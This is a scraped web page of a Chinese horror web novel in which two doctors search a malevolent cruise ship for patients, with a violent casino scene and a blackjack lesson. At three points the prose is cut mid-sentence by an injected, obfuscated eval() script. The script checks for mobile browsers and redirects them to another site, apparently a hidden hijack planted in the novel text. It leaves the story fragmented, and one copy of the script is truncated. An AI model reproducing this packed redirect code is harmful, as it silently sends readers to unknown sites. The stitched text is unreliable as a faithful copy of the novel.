$(''#content'').append('' 谁在叫我? “程昭!你快醒醒!” 这种感觉很奇怪,她明明在“看着”地面,但她竟然又一次睁开眼睛了。 瞳孔里映出洛清焦急的脸,程昭转头看向四周。 房间的布置跟她们初入时一样,没有融化的墙纸,没有破了个黑洞的天花板,她躺着的地面硬邦邦的。 程昭抬起左手,在眼前翻转。还好,有皮有肉,血管清晰,活动自如,就是手上多了好几条醒目的抓痕,有的已经渗出血来。 “我怎么了?” “呼,你醒了就好。”洛清长舒一口气。 程昭这时才看清,她的手里拿着一管空了的针筒。 “这是什么?” “丙泊酚,我的急救箱物品。” 程昭撑着地面,缓缓坐起来,“丙泊酚不是麻醉药吗?” “也有镇静的作用,能抵抗域里的一些负面影响,例如幻觉之类的,不过有时间限制,作用时间因人而异,一般两个小时,用多了会有抗药性。” “我刚才是……幻觉了?” “我猜的,你刚才从床上翻下来,然后就一直在抓手,都抓伤了。” “你是怎么发现我的?” 这人刚不还睡得跟头猪一样死吗? 洛清不知道程昭心里把她比做猪,还拿过她的手来查看伤口,展现出难得一见的同事情来。 “刚才我血压掉到60/20,手环开启紧急模式把我唤醒了。这地方不对劲,咱们都在不自觉的状态下被影响了……” “你也出现幻觉了?” “没有,我就是非常非常想睡觉,我曾经在域里超过60没合眼,也没困成这样的,这肯定有问题,要不是手环监测基本体征,我可能就无知无觉地死去了。” 程昭后背寒毛直立:“这也太可怕了。” 洛清皱皱鼻子:“你有没有闻到一股味道?” 程昭本来不觉得,被她一说倒像是有点清甜的香味:“好像有股切开的西瓜味。” “是吗?”洛清用力嗅了嗅,“我怎么觉得是股柑橘香气。” 程昭站了起来,看到阳台门关得严实。 “你回来的时候有关阳台的门吗?” 洛清回忆了一下:“好像没有,我实在太困了,一进来就倒床上睡了。” “我不记得我是怎么回来的了……” 程昭走过去打开阳台门,腥咸的海风吹进房间,把那股奇异的香味给吹散了。 洛清注意到海平面上已经露出了一抹红霞。 “天快亮了,没想到我睡了那么久,你后来去了哪里?” 程昭一五一十地跟她说了分别后的遭遇,包括找到了3个患者的好消息。 洛清:“这么说来,你的幻觉很可能是受了拍卖会上那块玉的影响。” 程昭:“如果都是幻觉的话,没准玉会动,也是幻觉的一部分。为什么域对你的影响是昏睡,对我则是这些恐怖的景象呢?它看人下菜碟?” 洛清:“可能它看你比较不爽吧。” 程昭:“呵呵哒。” 洛清确认了卫生间没有异样后,程昭进去洗了个澡,幻象里的场景太过刺激,她浑身都被汗浸透了,衣服黏在身上很不舒服,要是房间里能有更换的衣服提供就好了。 “咦?”洛清打开房间里的衣柜,“昨天我们进来的时候,这里面有衣服吗?” 29. 帕耳忒诺珀号08 “不记得了。”程昭裹着浴巾出来,“哇,怎么有衣服?” 衣柜里挂着两套女式西装,简洁大方,但一看面料就价值不菲,连衣服上的吊牌都没摘。 “这算什么,svip福利?” “或许吧。”程昭换上新衣服,站在镜子前,镜子里的人有种低调的奢华感,这种新奇的感觉还挺让人着迷。 程昭:“我知道这船想干嘛了?” 洛清:“怎么说?” 程昭在镜子前摆了几个pose,说出来的话却是痛心疾首的语气:“它想用纸醉金迷来腐化我啊!” 洛清:“有没有可能,不需要它,你就已经被腐化了。” 程昭整理了下衣领:“不可能,我可是人民的好医生。走吧,还剩两个患者,今天一定能找齐。” 洛清没她那么心大:“谨慎一点吧,我能感觉到这艘船对我们的恶意不小。” 两人走出房间,只见电梯旁站着一个侍应生,恭敬地朝她们鞠躬:“两位贵宾早上好,是要去用早餐吗?” 得到肯定的答复后,侍应生为她们按好电梯:“船上食材有限,请尽早就餐哦。” 程昭:“什么意思,去晚了会饿肚子吗?” 这么高端的邮轮,昨天她吃的可都是鱼子酱鹅肝和牛之类的,这才一天,就缺食材了? 侍应生微笑:“食材会优先供应高级客人呢。” 程昭觉得他话里有话:“那普通客人,会没饭吃吗?” 侍应生把话翻来覆去说:“高级客人可以优先享用食材呢。” 他话里“食材”两个字咬得很重。 电梯上到16楼,程昭和洛清一前一后走进了电梯。随着电梯们缓缓关上,侍应生在门外笑着对她们挥手:“高级客人拥有一切优先权哦~” 电梯里,程昭和洛清都沉默着,虽然她们现在是位于顶端的“高级客人”,但并没有因此感到轻松,反而有种预感,今天的帕耳忒诺珀号恐怕要有大事发生了。 屏幕上的数字停在“4”,今天她们还是去高级餐厅吃饭。 按照侍应生的说法,如果食材短缺了,那就会优先供应高级餐厅,恐怕普通餐厅就要没有食材了。 电梯门打开,走廊里并没有异常,侍应生站在餐厅门口朝她们鞠躬。 这一次,她们去了昨天没进去的章鱼餐厅,这是一间东亚餐厅。档口里堆叠着高高的蒸笼,还有现煮的面条,中式早餐令人倍感亲切。 程昭她们是第一批来的,这间餐厅是自取的形式,她没像昨天那副饿死鬼投胎的样子,只是取了一笼蒸饺,给自己打了一杯豆浆。 坐在窗边,蔚蓝的海面依然平静,赤红的太阳已经完全跳出了海面,旁边的云片也映出了橙红的光彩。 如果真的是来度假的就好了。程昭在心里感叹道。 “您好,需要帮您照顾宠物吗?” “帮我推进去吧,我跟她一起吃。” 似曾相识的滚轮声响起,程昭转头,看到了昨天见过的关在笼子里的少女,但意外的是,她身边的人并不是那位蓄着小胡子的威尔森爵士,而是一个穿着皮夹克、右眼有道陈旧伤疤,看起来就很凶悍的男人。 笼里的少女相比昨天,似乎神情有些痴傻,对周围的一切都没什么反应,只愣愣地盯着笼顶。 这是什么情况,宠物还能转让交易的? 男人路过程昭,她看清了他粗糙的双手和增生的关节,这实在不像一位养尊处优的贵客能拥有的。 程昭很难想象,那位老贵族样的爵士是出于什么样的原因会把心爱的小宠物转让给一个五大三粗的糙汉。 “你这个!你这个杂种!”尖利的声音从门口传来,这声音的主人也是个熟人。 艾玛夫人今天穿着一件豹纹大袄,长到脚踝,露出一双红色细跟高跟鞋,但她的表情跟昨日的优雅沾不上边,而是一副歇斯底里的样子。 男人没有理她,甚至没有转头。 侍应生朝她行礼:“尊敬的客人,有什么能帮您的吗?” “当然是把这个杀人犯抓起来,扔到海里去!”她的叫声几乎破音,“他怎么敢的!杀了威尔森,还割了亨利的尾巴!你们怎么能放这种罪犯上船?!!!” 程昭和洛清俱是一惊。 男人这回倒是转过头来,声音低沉:“那家伙叫亨利吗?我只是让他看上去没那么像条狗罢了。” “我的宠物,轮得到你管吗?你们还站着干嘛,把他抓起来啊!” “抱歉,女士,我们无权听从一位vip客人的指令,去对付另一位vip客人,这是越级行为,在帕耳忒诺珀号上是不被允许的。” “vip?你们在开什么玩笑?!你们以为这样能唬住我吗?他只是一个粗鄙下贱的码头工人!天知道他是偷了谁的船票上来的!我再也不会坐你们的邮轮了,我还会告诉我所有的姐妹们,所有上流社会的人都不会再上你们这艘破船了!” 侍应生的笑容不变:“非常遗憾,尊敬的客人,这是船上的规定呢。” “狗屁规定!没有教养的东西!贱种!我不会放过你的!我保证下了船你就会被抓走,等待你的是绞刑!” “是吗?”男人刚才只是转头,此刻调转方向朝她走来。 “你干嘛!不准靠近我!”艾玛慌张地躲到了侍应生的身后。 “如果你不想跟他一样下场,就尽快滚吧。” “你,你给我等着!”艾玛咬牙撂下一句不算多狠的狠话,转头就跑,连高跟鞋都跑丢了一只,遗留在餐厅门口。 男人没有去追她,继续回去吃饭。 再次路过程昭这桌时,程昭和洛清都埋头专注吃饭,没敢再抬头看一眼。 程昭隔着口袋摸了摸船票,她觉得这东西,现在就像是个烫手山芋,烫得她心慌。 程昭低头打量了下自己的衣着,对着洛清小声嘀咕:“完蛋,我穿太好了。” 她现在怀念自己的旧T恤了,可惜换下来后直接洗了,现在还晾在浴室呢。 洛清神情严肃:“我感觉,可能是这艘船故意诱导的。” 程昭哀叹:“人真的不能耽于享乐啊。” 洛清若有所思地看着桌上精致的餐点:“或许你说的对。” 程昭茫然:“我说什么了?” 洛清:“没准它就是想告诉我们这个。” 程昭:“它?” 洛清:“帕耳忒诺珀号。” 程昭:“对啊,我们都还没思考过这艘邮轮的名字,听起来像是希腊神话那一挂的。” 洛清轻叹:“域里用不了手机,我也不了解希腊神话。不过船上这么多人,总有知道的,或许等会可以找侍应生问一下,找找线索。” 程昭看向档口,陆陆续续有贵客进入餐厅,但是她发现被拿过的蒸笼堆并没有补货。 她站起身,去煮面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805390|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的档口要了两碗面条,还特意叮嘱面要多一点。 洛清看着程昭捧着两碗面回来,皱起眉头:“你还吃得下?早饭我可吃不下这么多。” 程昭推给她一碗:“能吃得下就再吃点,吃不了的给我。” 洛清用筷子挑出了一些面条放在自己碗里:“你这么能吃?” 程昭用眼神示意她去看档口:“我怀疑,高级餐厅的食材也会耗尽。” 洛清只看了一眼,就把整碗面都移到了自己面前:“这船想干嘛,把我们饿死?” “两天饿不死人,不过如果限制淡水,事情就严重了。”程昭又起身打了两大杯柠檬水。 洛清小口啜饮着:“两天不喝水一般也不会致死,不过会出现脱水的症状了,体质差的人可能会休克。” 程昭:“我感觉,它不是想让我们渴死或者饿死,如果想要船上的人死,翻船不是更直接。” 洛清耸肩:“谁知道呢,可能它有一些恶趣味吧。” 程昭:“所有域都会这样吗?” 洛清:“怎样?” 程昭想了下上次经历的手术室和这次的邮轮,总觉得有种相似的感觉:“不太好形容,感觉像是……对人有恶意。” 洛清看她的眼神里带了几分意外:“没想到你还挺敏锐的。虽然官方没有给出定义,不过经历的重叠域多了,是会有感觉的。我们私底下把域分为两种,无意识域和有意识域。 前者虽然会有异常的情况发生,但通常没什么危险,或者说很容易摸清域里的规律,从而保护自己和患者,这类任务完成起来都很轻松,基本上四级不良事件都是这样的。 后者就不同了,似乎域本身就能认知到这是个扭曲的时空,会自发排斥和伤害域里的生物,危险性比无意识域高出很多,这种就是三级及以上的不良事件了。” 程昭点点头,怪不得上个任务的评级从四级上调到了三级。 “如果域本身有意识,那一定是恶意吗?没有善意的域吗?” 洛清:“问得好,至今没见过。如果域有善意,那它最大的善应该就是麻溜地从我们的泡世界里滚出去。” 程昭:“也是啊,不出现就是最好的状态了。话说重叠域这种情况是一直有的吗?我以前的泡世界从来没听说过啊。” 洛清:“可能在你以前的泡世界,这种事情就像什么都市传说一样被掩盖了吧,在我们这个泡世界,至今还有大部分人不知道外地人到底是怎么来的呢。 不过,重叠域这么频繁出现,也就是近几年的事情,一七医院建院也没几年呢。” 程昭吃了一惊:“居然还是个新医院?” 洛清:“是啊,最开始为重叠域设立的部门是治安队,从特警里抽调出来的一支特殊队伍。但后来发现很多情况是,在域里找到了患者,却不能及时出域,患者在域中受了伤无人救治,所以就建设了一七医院,再从中挑选部分急救医生进入120值班。 治安队还承担着在外监测重叠域状态的职责,所以四级事件他们一般不进域,三级以上才会进来。” 程昭忍不住吐槽:“明明危险都在域里,他们倒好,就在外面看看啊。” 洛清反驳:“不是你想得那样。他们的活其实比我们更危险,比起把无辜卷进域中的人救出来,更重要的是不让域里的东西出来。” 程昭:“出来会怎样?” 洛清:“会世界毁灭。” 30. 帕耳忒诺珀号09 程昭一脸怀疑的神色:“这么严重,你没有吓我吧?” 洛清白她一眼:“信不信随你。” 程昭把最后一口面吃完,餐点档口的蒸笼只剩不到原来的一半高了,希望中饭的食材有准备吧。 她摸摸自己鼓鼓的肚皮,打了一个饱嗝,反正她今天肯定是饿不死了。 视线又不自觉地看向那个脸上有刀疤的男人。 虽然他在餐厅的另一头,跟其他人都隔得很远,不过餐厅本身也不是很大,程昭能看清他的动作。 跟威尔森那种直接把肉扔进笼子的方式不同,这个男人都是把食物用筷子夹着从笼子的缝隙伸进去喂给少女,在少女慢吞吞咀嚼的时候,还会把手探进笼子,摸摸她海藻般柔顺的金色长发。 他喂得仔细而专注,自己倒是几乎没怎么吃。 程昭看他衣服包裹下的肌肉线条,能确定他是个练家子,虽然看起来是个危险人物,但对待少女的动作都很温柔,而那个少女似乎一点也不怕他,只是吃饭的动作迟缓,直白点说,不怎么聪明的样子。 在吞下一口包子皮后,少女摇摇头,慢慢地后退,双手抱膝蜷缩在笼子一角,巨大的翅膀展开朝前拢,把自己严严实实地包裹了起来,乍一看就像一只大得过分的蓝孔雀。 男人伸手想去抓,但伸出一半就放弃了,转而开始鼓捣笼子门上的锁。 程昭也是才注意到这个笼子并非完全一体合成,细看能发现有一扇高约一米的弧形小门,金属笼子的工艺很好,乍一看很难发现。 门跟笼子连接的地方有一个突出的长条小方块,应该就是门锁了。男人拽了好几次,门都非常稳固,没有丝毫松动,他的面色逐渐暴躁起来。 程昭想到自己在上个域里获得的奖励,是个青铜道具,叫什么什么钥匙的,听上去像能开锁的样子,还没试用过,或许这次是个机会。 “我打算去会会他。” “谁?” 程昭朝着那个刀疤男人努努嘴。 洛清低叫起来:“你疯了?他是个杀人犯!” “我知道,但我赌他的级别没有你我高。如果他要对我不利,你一定要在我被杀之前,叫侍应生把他控制住,你是svip,是帕耳忒诺珀号上权限最高的贵客。” 洛清按住她的手:“你别冒险!万一我来不及怎么办?” 程昭挣开她的手,站了起来,嘴角轻扬,目光却坚定:“怎么,我还不能相信你?” 虽然洛清不认,不过她们可是最好的朋友,程昭太了解她了,也完完全全相信她,是可以放心把后背交付的人。 洛清咬唇不语,盯着她离开的背影,右手放在了左手腕上。 “你好。” 张霆早就听到了身后传来的脚步声,他虽然没有回头,却把筷子牢牢攥在了手里。 虽然没有刀叉那么好用,但只要对方没有练过格斗术,他有把握一击就把筷子尖头插进对方的喉咙里。 这是个听起来声线略微发紧但语调温和的女声。 他克制住自己暴起回击的本能,缓慢地转过身来,但手中的筷子并没有放下。 这都不放下筷子,没看出来还是个吃货啊。程昭心中腹诽,面上却保持着当医生时的职业微笑。 张霆面无表情:“你有什么事吗?” 旁边笼子里的少女闻声收起了一半翅膀,从膝盖里悄悄抬头,露出一双眼睛好奇地打量程昭。 程昭看了她一眼,她立马害羞地用翅膀拢住自己的脸,但还是忍不住悄咪咪透出一只眼睛。 程昭冲她张开手,手心里是一颗粉红色的小树莓。 她瞪大了眼睛,翅膀不自觉地收起,咽了一口口水。 张霆愈发不满:“请你离开,雲儿她怕生——” “人”字还没出口,他就眼睁睁看着自己好不容易才喂了几口饭的妹妹,主动凑近程昭,从她手上拿走了那颗看起来就很美味的树莓,然后“啊呜”一口吃了,嚼得腮帮子鼓鼓的,脸上露出幸福的神情。 张霆慌了:“喂!不要乱吃别人给的东西啊!” 程昭:“没毒,我刚在水果区现拿的。我叫程昭,可以认识一下你吗?” 张霆实在摸不清这个人到底要干什么,但他还是放下了筷子,冷声道:“我想没有认识的必要。我们跟你们不是一个阶层的人,我只想把她带下船而已,你不要阻碍我,我也不会伤害无辜的人。” “你们本来就认识?”程昭注意到他把少女归为“我们”,刚才好像还叫了一个人名。 张霆抿了抿嘴:“你话太多了,请立刻离开。” 程昭:“如果我说,我能帮你打开笼子,你愿意向我介绍一下自己吗?” 张霆上下打量着这个衣着华贵的客人:“你有钥匙?” 他语气不善,对这些“贵客”他没有任何好感,他们是不同阶层的人,不接触就是最好的状态,但他确实很想打开笼子,放妹妹出来。 那个恶心的老家伙竟然把雲儿关在这种东西里供人观赏,冰冷的金属底座上连个垫子都没有,这得多难受啊。 他光是想想,就又心疼又愤怒,恨不得把那家伙再扒一层皮。 程昭左手插在上衣口袋里,摸着一根细细的小发夹。 【叮!青铜工具-偷偷摸摸钥匙顶针已激活,初次使用可获得50经验。】 “没钥匙,但我有办法打开,不过你得拿诚意来换。我已经介绍过自己了,现在轮到你了。” 面前的男人虽不情愿但还是开口了:“我叫张霆,这是我妹妹张雲。” 听到自己的名字,金发少女往前挪了两步,眨巴着眼睛看向哥哥。 “呃。”程昭的视线在这两人身上转了几个来回,确实是有点意外,这基因遗传得差别有点大啊。 “退役以后,我就在码头做点体力活。我是个粗人,除了一身力气没什么别的本事,但是雲儿不一样,她很有艺术天赋。本地没什么好的画室,正好听说这艘船的终点是布托,我就凑钱买了张船票,想送雲儿去布托学画画。” “布托?” 张霆表情有些意外:“艺术之都布托啊,你这都不知道吗?” “哦哦,布托啊。”程昭立刻装出一副了然的样子。“那后来呢,她怎么变成这样的?” 他神色一下子黯然:“都怪我……船票很贵,即使是最普通的一档也花光了我的积蓄,但我还是不放心雲儿,所以借着船停泊的时候钻进货舱偷偷上船了。船上的安保很严,我废了很大功夫才终于找到雲儿,那个老东西……反正,我把他杀了。” 张霆这句话时眼神带着恨意,但又有种大仇得报的轻松,仿佛杀人也是件顺手的事。 “我本来是做好了一命偿一命的准备来的,没想到一个服务员突然钻出来,把那家伙的船票掏出来给我了,说我现在是vip了,雲儿也随着船票转到我名下了。” 程昭发现了盲区:“所以你也不知道,从她上船到变成这样,是怎么发生的?” 张霆摇摇头,神色懊恼:“早知道会这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程昭:“月光蕴含着圣洁而神秘的能量……” 张霆:“那我就再信你一回。” 程昭在心里长舒一口气,另一方面又担心,这兄妹俩都不聪明的样子,真的能到达布托拜师学艺吗? “我的房间在1310,晚上8点,等你过来。” “行。” “如果你骗我,我会让你付出代价的。”张霆眼里闪过一丝狠厉。 他绝不是如自己说的空有一身力气那么简单。 “有什么收获?”洛清见她毫发无伤地回来,总算是松了口气。 “可以通过货舱上到客房,算收获吗?” “这不是很正常……等一下,是有避开船上人员的办法吗?” “应该是,那个人知道。”程昭简单交代了一下张霆的经历,“或许有办法反向下去货舱看看。” “我记得上船的时候,侍应生就提醒过我们,svip可以去船上任何地方,除了——” “除了货舱。”程昭接道,“正是因为这样,我才想去货舱看看。我也想知道,船上的食材是真的短缺,还是有别的原因不供应。” “你打算什么时候去。” “肯定要晚上了。”毕竟她的偷偷摸摸工具只能在黑夜里使用。 月黑风高,适合搞事。 31. 帕耳忒诺珀号10 “你说这里有表演?”洛清看着喧闹的3楼大厅,扯着嗓子对程昭喊道。 “昨天有!”程昭大声回道。 她们吃完饭下来,想再碰碰运气找剩下的两个患者,没想到3层已经大变样了,整个3层都变成了赌场,那些小的舞台都在一夜之间不见了。 一张张椭圆形桌子围满了亢奋的赌徒,眯眯眼的荷官们咧着弯到耳后的嘴,为这些沉沦的客人们服务。 不知道是不是她的错觉,程昭觉得桌上的人们比昨天更加激动了。 昨天虽然也有不少赌红了眼的,但今天的行为更出格了。 有人站在椅子上癫狂地挥舞双手,抛洒出花花绿绿的筹码,周围的人蜂拥而上去捡,有的跪在地上捡滚落到桌下的筹码,却被后来的人踩住了手,他竟没叫痛,伸着碾成肉泥的手在地上蠕动。 有人面前的筹码都被荷官收走,痛哭流涕地扑在桌上,船上的保镖把他拉走,他一边挣扎一边脱衣服,嘴里大喊大叫着,手在前胸搔抓着,抓出一条条血痕,鲜血顺着胳膊流到地上,神出鬼没的侍应生立刻打扫干净,仿佛地毯上的深色印迹只是未拖干的水渍。 更多的人扭打在一起,用手用脚,甚至用上牙齿。程昭眼睁睁看着一个人嘴张到几乎要脱臼的程度,狠狠咬在另一人脸颊上,用力之大,直接撕下了一块肉。咬人者先是一愣,然后面露狂喜,生啖肉块,表情迷醉。而在他品味着同类的肉时,后面的人也咬住了他的咽喉…… 荷官们都面不改色,保持着弧度一致的微笑,发牌,叫牌,计算筹码。 即使桌上的人都已经没了人样,也在忠实地履行自己的职责,把庄家赢得的筹码收回,把意外飞溅到桌上的白花花肠子推到桌下去。 洛清脸色铁青:“如果患者在这里,我们估计是救不了了。” 她都没那个胆子走进去,光是站在电梯口朝里面望,她就随时想要逃回电梯里去。 程昭眼神被某处吸引住了:“他怎么在这儿?” “谁?” “某位患者,好像还赢了不少。” “这里还有人能赢?”洛清眼里这些赌徒都已不是有理性的人,而是只剩兽性的人形怪物了。 程昭朝角落一指,一个白净的年轻人端坐在荷官正对面,手捏着扑克牌,面色沉静。 周围的疯癫人群似乎都与他无关,他看起来太过正常,以至于不正常的人都忽视了他。 一局毕,荷官把自己那边的筹码推了一叠5个到他面前。 白世把筹码整齐地分类放好,做了个请的姿势,让他继续发牌。 “你怎么在这儿?” 见到程昭过来,他表情有些惊慌:“这儿很危险,你们还是回客房待着比较好。” “那你怎么出来了。” 他耸耸肩:“你们vip还不知道吧,普通的自助餐厅都关了,现在所有食物,包括饮用水,都要自己花钱买了。” 程昭之前就问过侍应生普通客人吃饭的问题,没有得到正面回答,原来已经不提供自助食物。 既然可以买,果然船上还是有食物的。 “食物很贵吗?” 白世苦笑:“何止是贵,食水是拍卖制的。” “拍卖制?那大家都压着价不就好了。” “哪有这么简单,大家都只想着自己能有东西吃,价格越炒越高,我走的时候100ml的矿泉水已经要3000美金了,这个价格都还没落锤呢。” 洛清忍不住道:“疯了吧?” “或许吧。” 程昭扫了一眼他面前堆叠的筹码:“这些都是你赢的?” 白世:“没办法,我身上的钱连瓶水都买不起,听说大家都过来搏一搏,我也只好过来试试。” 程昭:“你挺厉害啊,赌神?” 白世挠了挠头,表情有些羞赧:“运气好罢了。” 洛清都不相信他这话:“光凭运气能赢这么多?” 白世:“呃,其实我是A大统计学直博毕业的。” 洛清惊讶挑眉:“高材生啊?” 程昭:“等会儿,这玩意儿不是看运气的吗,还能算?” 白世手里把玩着一个外圈为绿色的25面值筹码:“赌这个东西,是靠运气的,但是一切数字,皆有概率。单独的一局,输赢概率或许是各50%,但当你掌握了规律,就可以操控这个概率,十局、二十局下来,概率的天平就会倾斜了,到一百局、二百局就获得有必胜的解法了……” 程昭:“赌还能必胜?” 白世笑笑:“你不信是吧,那要不要跟我来几局?” 程昭摊手:“我身上没钱。” 白世把自己面前的筹码堆中的某一摞推到了旁边,替程昭拉开了椅子,“借你的,赢了算你的,输了算我的。” 程昭目测那一叠至少二十个,她不知道这些筹码总共值多少钱,但能看见最顶上的紫圈筹码印着500。 洛清环顾四周,赌场里还在群魔乱舞,他们这桌上本来坐着的人跑的跑,晕的晕…… 倒在地上的可能死了,但洛清不打算给这些赌鬼来一套需要人工呼吸的心肺复苏。 还算正常的人只剩他们三个,赌桌的另一边还有笑眯眯的荷官正在等着开始下一局。 “程昭,我们还是走吧。” 程昭手把着椅背,没走也没坐下,她看着白世:“几局能证明你的概率魔法,需要一百局吗?” 或许概率学确实是他的特长,对于这个问题,他露出一个游刃有余的微笑:“十局以内。” “程昭!”洛清扯了一下程昭的衣角。 程昭拍了拍她的手,“不会耽误多少时间的。都说十赌九输,我很好奇,到底是不是真有必胜的解法。” 白世:“21点,会的吧?” 程昭跟秦望津赌的那一局可是吃过24点的亏的,立刻警惕道:“牌里不会有小数点吧?” 这下轮到白世疑惑了:“小数点是什么?扑克牌里还有小数点吗?” “这里的扑克牌跟我们世界的一样?” “当然一样了,什么我们世界?”白世的眼神越来越迷茫。 哦,程昭忘了,白世并不清楚自己身在重叠域呢,只是觉得这船有些奇怪。 这样说来,在白世玩的这么多局里,扑克牌应该都是正常的数字,没有小数点。 那她昨天那局24点怎么就…… “靠!”她想起秦望津意味深长的表情,“我不会被人做老千了吧!” “这地方还能有人做千?”白世瞟了一眼对面的荷官,他可不认为这是什么正常人。 程昭叹了口气:“有钱能使鬼推磨啊,都退休两年的人了,居然为老不尊……” 白世好奇道:“你说谁啊?” 程昭:“一个不要脸的老东西。扑克牌没问题就好,21点我会玩。” 21点在□□游戏里算是经典之作了,虽然从来不赌,但程昭也是在游戏机上玩过的,玩法通俗简单。玩家用不包括大小王在内的52张扑克牌进行对战,需要在不超过21的情况下,使手中牌的点数之和最大。 程昭玩得少,对这个游戏没什么心得,都是碰运气的,她倒要看看白世是怎么用统计学概率赢下这么多筹码的。 白世示意荷官发牌:“我们玩21点。” 荷官:“请下注。” 白世给程昭的那一叠筹码全是紫色的500,没有更小的面值了,她只敢拿出一枚放在投注处。 白世看了一眼程昭,放了两枚200和一枚100,他把紫色的筹码堆全给了程昭,只能分散筹码跟她保持一致。 荷官依序给程昭、白世和自己发了牌,两张牌,一张牌面朝下的底牌,一张牌面朝上的明牌。 第一局,庄家明牌J,白世明牌6,程昭明牌8。 庄家停牌。 程昭看了一眼底牌,是张4,加起来只有12,爆牌风险不大。 程昭:“要牌。” 一张3飞到了她的牌上。 白世看完牌也要了一张,也是张3。 程昭看着手中的15点,纠结了一会儿,选择停牌。 白世:“双倍下注。” 随着一张10盖在白世的牌上,场上所有人翻牌。 庄家:8、J,共计18点。 程昭:4、8、3,共计15点。 白世:2、6、3、10,共计21点。 白世的双倍下注后的1000筹码,在胜利后翻倍成了2000,加上程昭投注的500,现在他面前总共有2500了。 程昭瞪大了双眼:“你是不是也出千啊,能有这么巧的事?” 白世笑:“这一局,确实运气之神眷顾我了。我明明是来展示概率的,希望下一把有机会吧。” 荷官收起牌,准备下一局。 程昭看着面前的一堆500筹码,给多少都觉得肉痛,拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805392|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个紫色筹码跟白世换了5个黑色的100筹码,然后在投注区放下一个。 白世:“你对自己这么没信心?” 程昭只说了一个字:“稳。” 白世依然跟了她一个黑色筹码。 第二局,庄家明牌A,白世明牌Q,程昭明牌A。 捻开遮盖住的扑克牌一看,程昭心里凉了半截,居然是个J,什么运气,这回上来就21点了。 可是她才投了100啊,赢了翻倍也就200,如果白世输了,加上他的100,总共也就300,还比不上她上局输的。 程昭有些后悔,怎么不多投一点呢,哪怕是一个紫色的500筹码也好啊。 她停牌了,白世要牌,是一张9。 庄家也要了一张,是张10。 白世停牌,庄家又要了一张,是张5。 白世把牌一掀:“啧,爆了。” 他面前是3、Q、9这3张,加起来22,刚好超过21点。 荷官掀开自己的牌,是2、A、10、5,共计18,不到21点。 程昭摸着手里的三个圆板,自己明明运气爆棚上来就锁定胜局,怎么感觉,赢得有点虚无呢? 下一局开始,程昭盯着面前的筹码堆出神,反正她有这么多,输了也不用她赔,为什么不玩得大点试试呢? 毕竟谁都知道,风险越大,收益越大嘛。 程昭放了5个紫色筹码在投注区。 白世依旧以同样的面值跟投。 第三局,庄家明牌9,白世明牌4,程昭明牌8。 这局程昭的底牌是J,加起来已经18了,程昭直接停牌。 庄家也停牌了,而白世看看自己的牌,又扫了一眼桌上其他人的牌。 他手指在桌面上轻敲两下:“加倍下注。” 这回得到了一张9。 所有牌面翻开,牌型如下: 庄家:10、9,共计19点。 程昭:J、8,共计18点。 白世:8、4、9,共计21点。 程昭忍不住跳了起来:“你是不是真出千啊?刚好21也就算了,你是预料到了才双倍下注的吧?” 2500的筹码,加倍后5000,赢过庄家再翻一倍,这就1万了,加上程昭的2500,他轻轻松松就赚了这么多! 白世无辜地眨眨眼,指了下荷官:“你觉得在他眼皮子底下,我能出千?” 白世不是秦望津,他只是一个再普通不过的船客,如果真有那种能耐,周谭也不会被人打折塞进赌桌里了。 程昭坐了下来:“再来,我不信你一次都不翻车。” 白世当然也会输,但那些输掉的牌局只会让他失去少少的钱,在顺风局上,他能十倍百倍地赢回来。 而程昭则憋着一股气,想着只要一把大的就能回本,投的赌注越来越多。 程昭当然也会遇到运气好的局,大赚一笔,但很快就会在下一把或者下下一把输掉更多。 果然,都不到十局,才第七局,程昭就输光了所有,而白世面前的筹码加高了一倍。 程昭输得脸上都有些烧了:“奇怪,你运气这么好吗,为什么能赢这么多?” 白世微微一笑:“不是运气,21点是有技巧的。利福亚州立大学的数学教授索普早在上个世纪就总结出了21点游戏的成功策略,是建立在概率计算基础上总结出来的。 看不到的底牌,可以全部当作是10点。因为10点包含了10、J、Q、K共计16张牌,占牌总数的30%,所以底牌是10的可能性,比其他要大的多,默认底牌是10去计算场上其他人的牌,在概率学上就先胜了一筹。 再比如,12点是比16点更有利的数字,因为抽到12点时,9点及以下都不会爆牌,而抽到10点的概率为30%,而当手中牌的点数已经达到16点,再抽到一张6以上牌的概率是60%,比12足足高了一倍。 可以这么说,在每一张牌的节点,都蕴含了大量的概率计算,这次只有我们两个玩家,实际上玩家越多,虽然需要计算的数字更多,但因为获得了更多的信息,反而算出来的概率更接近实际。除了21点以外,其他所有的赌局都是如此,本质都是概率计算。 赌一局,运气成分占大头,但只要你会概率计算,赌得越多,就能赢得越多。” 程昭依旧不解:“你这么厉害,为什么周谭会输得一无所有?” 32. 帕耳忒诺珀号11 白世的目光一下子黯淡了,垂眼看着地面:“真正的输赢不在技巧,而在心态。能做到有利时不追逐,及时抽身,失利时不慌乱,及时止损的,又有几个人呢?” 程昭:“所以即使拥有必胜的技巧,能算概率,也不代表能一直赢,对吧?” 